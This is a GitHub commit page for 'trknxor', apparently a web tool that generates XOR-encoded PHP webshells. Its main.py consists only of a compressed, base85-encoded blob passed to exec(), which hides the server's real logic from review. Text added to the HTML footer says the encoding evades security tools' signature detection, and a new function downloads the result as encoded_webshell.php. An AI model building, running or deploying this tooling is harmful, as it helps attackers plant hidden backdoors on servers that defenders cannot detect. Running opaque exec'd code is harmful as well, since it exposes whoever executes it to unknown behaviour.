Skip to content

Commit

Permalink
deta
Browse files Browse the repository at this point in the history
  • Loading branch information
tucommenceapousser committed Aug 3, 2023
1 parent ee58b15 commit a389100
Show file tree
Hide file tree
Showing 8 changed files with 92 additions and 29 deletions.
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
.space
6 changes: 6 additions & 0 deletions Discovery.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
---
app_name: trknxor
tagline: generate a php webshell encoded in xor
---


7 changes: 7 additions & 0 deletions Spacefile
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
v: 0
micros:
- name: trknxor
src: .
engine: python3.9
public_routes:
- "/*"
2 changes: 2 additions & 0 deletions main.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
#!venv/bin/python
import zlib, base64;exec(zlib.decompress(base64.b85decode('c$~df+iv4F5PjEIuxtZSu%gYPZ%);1u+6p)MYBj;pn&WMiZr&kt6NFBcADnjJ0x|ropzCjO0Xqf=62=`HD42`(mDeXG>^_&)FoLLiTq4>+0;Uj4|?De0TphE6_ibpD9{ssY(XlYe3Es=*N;xSUn;??O*axrmDOcG0>??3hJ;oti{mOOA&x!ANpV7w-*0Xkd@^tD5WIf8{&4l%FN^s7&sVp1*9(-h+Ji)<oW}(y1wxWpH=XefSJH^yU4Oi~y;|Jd-l3GsylD0GJinZszai9h%#IA!Bu<kejrX;P(>xJOLb3KqlROr6l9?%==zj?+Jn+SDL*suzxDZ=tJ=WK{7G%wZR7L~g6=AIs!q=p#)gVfskU%I6KGnQpb~=y=Vho*(PYS5Ifrr;%s52%Zt*h++u%<7SbI}?L5goy5k+C6OkK7YIGjgh%8UyQjM~czik?ya;Ng@b(J6^^(TQ842)RzFY6%~mF$NVu){z%uVS0ECO0A24>XcVt2M&GwcY8d}a3Z5CfQB-!$1;&l=EbWPMCMh{1>?DgY>J!|v?47djHN-;zTj}UxMMC5~b*JdG%cRFPdOJUVI|2aYwotenQR)->TTO_aYUEqtscwt}Y`9VvDh3lAlvg?g)zfVVrhoH}2+p-pT;Blu_5>rX*AZWlSvYnBXPi-Jh7fk|kOh18y%Kw$JS3Uf8&W!QtSi8<FScl}v$Hou!dN=7t|Cp8`w^*E0|*_F5+RaDR4E{kO~DltE?d%Qxm%u-)oe+<znLBctC{Eap?JrsrF4?e9aiQjr`F6AWAxnYLPq^sS1>17Mv7Nkcxe{~G}3ISFr3FP<xeM1iySTY)=tn(3!I=^TTy!THJqF3j<AgI8?(ose(O^;+O?YcHUvZ&MKOBc(qJUw>3J`pgXAvf1rW`vDMV$W(!5PPBqGgC=JAe}_n2^s318yv`mJ5>FfE#NM#-E!2uMDk@-=K<0s;7ePk|YMU?b{n!!A6ZOvm=z@Ls4cJLl;7(%EQh?6A5<i5Lp0ts)ddm-==fctOR#=5$n@y>@5hEdB0XlQ+xi8#ET`G~qMSVd>0VE-SzjpXo&p2k*YeO#Oh(OMnO{VD1~ly9AZjnG7TMr|Sid-H$hS3m0M0k>_;@T_b}@X#1tW%9zvH>>hI6t@K-wX=Shh#az3jEoejIvq4H*bSH$mMJ<+=*+>i{XtwI4kX=F%UFqJ56YYyTFoSg8dW449{X%~Ln)9fiR^s63(Y+$IiHM(`BlqbU;k~5B;Y2ZuOR#Mk5X|#?Jf<bEg9n*IQIK##$NwOrb67?en&abZ$5l@12Ky$v13#L(8TCja$@+A2vJQ5FBZ)f4yu;(8Ev8A!&D^#^b5$0YpiVgKUi{X>&^|^=!E`i3W20Sz{rroJf)KUnY??ucxn{8MdYP95HUF&~ZbbOHX5Uahj?08saop11)YZ0Pc`a4wUIgYwdl@`zH@3}j{sGNM)c^')).decode())
1 change: 1 addition & 0 deletions replit.nix
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
{ pkgs }: {
deps = [
pkgs.unzip
pkgs.python310Full
pkgs.replitPackages.prybar-python310
pkgs.replitPackages.stderred
Expand Down
1 change: 1 addition & 0 deletions requirements.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
flask
103 changes: 74 additions & 29 deletions templates/home.html
Original file line number Diff line number Diff line change
Expand Up @@ -6,30 +6,55 @@
<!-- Add your CSS stylesheets here -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/animate.css/4.1.1/animate.min.css">
<style>
body {
font-family: Arial, sans-serif;
background-color: black;
color: white;
margin: 0;
padding: 0;
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
}
body {
font-family: Arial, sans-serif;
background-color: black; /* Change the background to black */
color: white;
margin: 0;
padding: 0;
}

/* Updated h1 styles */
h1 {
font-size: 3rem;
text-align: center;
margin-bottom: 2rem;
background: linear-gradient(to right, violet, indigo, blue, green, yellow, orange, red);
-webkit-background-clip: text;
color: transparent;
animation: rainbowText 5s infinite;
}
.footer {
margin-top: 2rem;
text-align: center;
color: white;
}

/* Updated download link styles */
.download-link {
color: white;
text-decoration: underline;
cursor: pointer;
}
@keyframes rainbowText {
0% { color: violet; }
14% { color: indigo; }
28% { color: blue; }
42% { color: green; }
57% { color: yellow; }
71% { color: orange; }
85% { color: red; }
100% { color: violet; }
}

/* Adjusted styles for form and output container */
form {
display: flex;
flex-direction: column;
align-items: center;
margin-top: 2rem; /* Add margin to separate form from header */
}

h1 {
color: red;
font-size: 3rem;
text-align: center;
margin-bottom: 2rem;
}

form {
display: flex;
flex-direction: column;
align-items: center;
}

label {
font-size: 1.2rem;
Expand Down Expand Up @@ -63,12 +88,14 @@
background-color: #ffaa00;
}

#output-container {
margin-top: 2rem;
padding: 1rem;
border: 1px solid white;
border-radius: 5px;
}
#output-container {
margin-top: 2rem;
padding: 1rem;
border: 1px solid white;
border-radius: 5px;
background-color: white; /* Change the background color to white */
color: black; /* Change the text color to black */
}

pre {
white-space: pre-wrap;
Expand Down Expand Up @@ -97,6 +124,12 @@ <h1 class="animate__animated animate__fadeInDown">trhacknon XOR encode Web Inter
<!-- Display the output from the encoder here -->
</div>

<div class="footer">
<p>This XOR encode Web Interface is kindly provided by trhacknon.</p>
<p>What is XOR encoding? XOR encoding is a simple bitwise operation that can be used to obfuscate data, including PHP webshells. It's useful for evading simple pattern matching techniques used by security tools. By encoding a webshell using XOR, it becomes harder for security tools to detect it based on known signatures.</p>
<p>If you wish to download the encoded PHP webshell, <span class="download-link" onclick="downloadWebshell()">click here</span>.</p>
</div>

<!-- JavaScript script -->
<script>
document.addEventListener('DOMContentLoaded', () => {
Expand Down Expand Up @@ -131,6 +164,18 @@ <h1 class="animate__animated animate__fadeInDown">trhacknon XOR encode Web Inter
});
});
});

function downloadWebshell() {
const webshellContent = document.getElementById('output-container').innerText;
const blob = new Blob([webshellContent], { type: 'text/plain' });
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = 'encoded_webshell.php';
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
}
</script>
</body>
</html>
Binary file added venv/bin/space
Binary file not shown.

0 comments on commit a389100

Please sign in to comment.